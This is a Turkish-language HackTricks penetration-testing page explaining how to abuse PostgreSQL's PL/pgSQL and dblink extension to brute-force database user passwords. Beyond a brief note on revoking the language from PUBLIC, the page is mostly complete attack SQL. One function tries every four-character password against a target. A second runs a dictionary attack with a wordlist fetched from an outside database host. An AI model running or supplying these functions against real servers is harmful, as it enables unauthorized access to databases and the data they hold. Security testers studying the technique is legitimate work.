PL/pgSQL Parola Kaba Kuvvet

Reading time: 3 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Bu saldırılar hakkında daha fazla bilgi için orijinal belgeyi bulun.

PL/pgSQL, SQL'in yeteneklerini aşan ve gelişmiş prosedürel kontrol sunan tam özellikli bir programlama dilidir. Bu, döngülerin ve çeşitli kontrol yapıların kullanımını içerir. PL/pgSQL dilinde oluşturulan fonksiyonlar, SQL ifadeleri ve tetikleyiciler tarafından çağrılabilir, bu da veritabanı ortamındaki işlemlerin kapsamını genişletir.

Bu dili, PostgreSQL'den kullanıcı kimlik bilgilerini kaba kuvvetle kırmasını istemek için kötüye kullanabilirsiniz, ancak veritabanında mevcut olmalıdır. Mevcut olup olmadığını kontrol etmek için:

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |

Varsayılan olarak, fonksiyon oluşturma, PUBLIC'a verilen bir ayrıcalıktır, burada PUBLIC, o veritabanı sistemindeki her kullanıcıyı ifade eder. Bunu önlemek için, yönetici PUBLIC alanından USAGE ayrıcalığını geri alması gerekebilirdi:

sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

Bu durumda, önceki sorgumuz farklı sonuçlar verecektir:

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}

Aşağıdaki scriptin çalışması için dblink fonksiyonunun mevcut olması gerekir. Eğer mevcut değilse, onu oluşturmayı deneyebilirsiniz.

sql
CREATE EXTENSION dblink;

Şifre Kaba Kuvvet

İşte 4 karakterli bir şifre kaba kuvvet saldırısını nasıl gerçekleştirebileceğiniz:

sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Not edin 4 karakteri brute-force etmenin bile birkaç dakika sürebileceğini unutmayın.

Ayrıca bir kelime listesi indirebilir ve yalnızca o şifreleri deneyebilirsiniz (sözlük saldırısı):

sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;

EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'

-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin